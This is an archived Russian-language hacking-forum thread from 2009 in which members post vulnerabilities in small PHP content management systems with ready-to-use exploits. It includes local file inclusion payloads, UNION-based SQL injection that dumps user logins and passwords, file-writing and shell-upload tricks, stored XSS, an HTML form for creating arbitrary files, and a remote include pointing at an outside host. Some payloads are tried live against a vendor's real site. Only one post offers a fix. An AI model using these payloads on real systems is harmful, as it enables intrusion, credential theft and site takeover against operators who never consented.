Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

06.07.2009, 17:03
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
GenCMS
Код:
GenCMS
http://gencms.berlios.de/
eLwaux(c)2009
LFI
/show.php
----------------------------------------------------------------------------------------------------
18: $param = $_GET['p'];
19: if(empty($param)) $param = 'news';
20: //get right page
21: //$page = $param.'.php';
22:
23: //static or dynamic
24: if(GC_FULLSTATIC)
25: {
26: $page = $param.'.htm';
27: staticpage($page);
28: }
29: else
30: {
31: $page = GC_IPATH.'_base/sites/'.$param.'.php';
32: dynamicpage($page);
33: }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00
LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14: if(!empty($_GET['step'])) $Step = $_GET['step'];
23: if ($Step == "2")
24: {
25: // allgemeine settings
26: //include blocks from template config
27: include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28: $TPLBlocks = explode(';',$TemplateSettings);
29: }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )
|
|
|

13.07.2009, 00:06
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
SqliteAdmin
CSRF
Код:
http://site/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: 190.161.4.211
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://site/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
|
|
|

27.07.2009, 18:38
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
elgg <= 1.5 vuln LFI
POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD
необходимо, чтоб в табл datalists
simplecache_enabled=0
(по дефолту =1 xD)
Код:
/_css/js.php:
33: $viewinput['view'] = 'js/' . $_GET['js'];
42: require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
26: $view = $viewinput['view'];
30: if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
48: if ($simplecache_enabled || $override) {
49: $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
51: $contents = file_get_contents($filename);
56: } else {
59: $contents = elgg_view($view);
/lib/elgglib.php:
237: function elgg_view($view, ..
317: foreach($viewlist as $priority => $view) {
321: if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
!include($view_location . "{$viewtype}/{$view}.php")) {
|
|
|
Irokez CMS 0.7.1 SQL inlection |

05.08.2009, 10:19
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Irokez CMS 0.7.1 SQL inlection
Irokez CMS 0.7.1 SQL inlection
Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются.
Copeц бажной функции:
PHP код:
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
Условия:magic_quotes_gpc = Off
Эксплатация:
PHP код:
http://localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
PHP код:
http://localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/
Для защиты данной функции можно использовать функцию mysql_escape_string()
Пример защиты:
PHP код:
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$id = mysql_escape_string($id);
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
=========================================
Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
[+] Exploit:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
Последний раз редактировалось Ins3t; 05.08.2009 в 17:11..
|
|
|

09.08.2009, 01:09
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Mini-CMS 1.0.1 SQL inlection
Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная..
Уязвимый файл: page.php
Фрагмент уязвимого кода:
PHP код:
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
WHERE id = $id";
$error = mysql_error();
if (!$result = mysql_query($query)) {
print "$error";
exit;
}
while($row = mysql_fetch_object($result)){
$content = $row->text;
print("$content");
}
?>
Требования: magic_quotes_gpc = Off и полный путь к config.php
Эксплатация уязвимости:
PHP код:
http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]/config.txt'--+
Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить  ).
Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
WHERE id = $id"; <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
print "$error";
exit;
}
while($row = mysql_fetch_object($result)){
$content = $row->text;
print("$content");
}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
[+] Exploit:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
Последний раз редактировалось Ins3t; 09.08.2009 в 01:13..
|
|
|

16.08.2009, 23:55
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Ngcms
XSS Активная (!)
Регестрируемся
В поле "Сайт" и "Откуда"
Код:
"><script>alert();</script>
При просмотре админом через админ панель ваш профайл, выполняется XSS.
PHP код:
$tvars['vars'] = array(
'php_self' => $PHP_SELF,
'sort_options' => $sort_options,
'how_options' => $how_options,
'npp_nav' => $npp_nav,
'entries' => $entries,
'per_page' => $per_page,
'name' => htmlspecialchars($_REQUEST['name']),
);
$tpl -> template('table', tpl_actions.$mod);
$tpl -> vars('table', $tvars);
echo $tpl -> show('table');
Ещё есть.
При добавление новости.
В краткое содержание или полное без разницы.
Код:
[img]javascript:alert('XSS')[/img]
PHP код:
$tvars['vars'] = array(
'php_self' => $PHP_SELF,
'changedate' => ChangeDate($row['postdate']),
'catlist' => makeCategoryList(array('skip' => $cats, 'nameval' => 1)),
'allcats' => @GetAllCategories($cats),
'comments' => $parse->smilies($comments),
'id' => $row['id'],
'title' => secure_html($row['title']),
'short' => secure_html($story[0]),
'full' => secure_html($story[1]),
'alt_name' => $row['alt_name'],
'avatar' => $row['avatar'],
'description' => secure_html($row['description']),
'keywords' => secure_html($row['keywords']),
'views' => $row['views']
);
PS
Уязвим везде параметр [IMG][/IMG]
(c) Ctacok. Специально для Античат.
Последний раз редактировалось Ctacok; 17.08.2009 в 00:22..
|
|
|

21.08.2009, 22:59
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
KESoft: CMS Кеша
1. SQL - inj
PHP код:
#получаем список блоков
$z="select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id=$pg)and(bpp.block_id=blocks.id)";
$result=mysql_query($z,$connect);
2. Доступ в админку
PHP код:
$z="select id,status from users where (login='".$_POST["u_login"]."')and(pass=PASSWORD('".$_POST["u_pass"]."'))";
$result=mysql_query($z,$connect);
при MQ=off
их офф сайт _http://www.kesoft.ru/index.php?pg=20'
Ну я как бы просто показал
Result:
http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5#
Чтение файлов
http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00
файл:UserPar.php
pg_param.php
http://www.сайт.ru/ru/blocks/UserPar.php?l=../
http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru  )
Инклуд удаленный Даже файл админа в инклуде 
http://www.kesoft.ru/admin.php?l='%00
условия в посте Grey'a
P.S. Там что не файл, то уязвимость) PSS угу 
Последний раз редактировалось HAXTA4OK; 22.08.2009 в 10:43..
|
|
|

21.08.2009, 23:23
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от HAXTA4OK
KESoft: CMS Кеша
Зачетная cms:
Чтение файлов:
Файл: blocks/auth.php
PHP код:
<?php
$bdata=file($l."blocks/Auth.dat");
$bdata=str_replace("@u_login@",$u,$bdata);
$bdata=str_replace("@u_pass@","",$bdata);
for ($ii=0; $ii<count($bdata); $ii++) {
echo $bdata[$ii];
Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00
Создание произвольного файла:
Файл: RU(или ru)/blocks/BlockPar.php
PHP код:
if (count($_POST)>0) {
.....................
if ($_POST["Submit"]=="Сохранить изменения текста") {
$z="select fname from blocks where id=$par";
$tmpr=mysql_query($z,$connect);
$fp = fopen ($l.mysql_result($tmpr,0,"fname"),"w");
fputs($fp,$_POST["BlockData"]);
fclose($fp);
$m="Содержимое файла блока <font color=green>заменено</font>";
};
Юзаем так:
Код:
<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>
Ой, а там файлов больше чем я думал, продолжим:
Удалённый инклуд:
Файл: RU(или ru)/blocks/reg.php
PHP код:
<?php
include $l."blocks\\UserPar.php";
?>
Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?
Даже листинг дир в комплект входит:
Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)
Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он
P.S. Там что не файл, то уязвимость)
Последний раз редактировалось Grey; 21.08.2009 в 23:40..
|
|
|

23.08.2009, 00:16
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
Уязвимость №1:
Проникновение в админ-панель.
Уязвимость существует из-за недостаточной фильтрации данных.
Уязвимый код:
PHP код:
if ($_SESSION['cmsmini_login'] != 1) header('location: login.php');
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.
Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.
Уязвимость №2:
Заливка файла произвольного расширения.
Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.
Уязвимый код:
PHP код:
case 'newimage':
$imagefile = $_FILES['imagefile'];
if( is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile, $dirpath);
else die('image upload failed...');
break;
Код:
/admin/functions.php
PHP код:
function new_image($imagefile, $dirpath){
$name = $imagefile['name'];
$filename = $dirpath.'/'.$name;
$dirlist = $dirpath.'/dir.list';
$new_row = $name.'|'.$name.'|0|';
move_uploaded_file($imagefile['tmp_name'], $filename);
in_dirlist($dirlist, $new_row);
}
Эксплуатация:
Залить любой файл в поле Image.
Уязвимость №3:
Читалка файлов.
Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.
Уязвимый код:
PHP код:
$subpath = $_GET['path'];
if( $subpath )
$dirpath = '../pages/'.$subpath;
...
$dirlist = $dirpath.'/dir.list';
...
$rows = file($dirlist);
...
$n = count($rows);
...
for( $i=0; $i<$n; $i++ ){
//тут много echo с выводом файла
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.
Уязвимость существует из-за отсутствия фильтрации входящих данных.
Уязвимый код:
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.
Уязвимость №5:
"Листинг" директорий.
Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.
© mailbrush
Это не все дырки этой CMS...
|
|
|

24.08.2009, 11:15
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
Сообщение от mailbrush
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
1. Читалка файлов
admin/edit.php
PHP код:
$filename = $dirpath.'/'.$name;
$fh = fopen($filename, 'r');
Эксплуатация
cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING
При register_globals On
2. Пассивная XSS
cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
3. Создание произвольного файла
cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00
Последний раз редактировалось HAXTA4OK; 24.08.2009 в 11:39..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|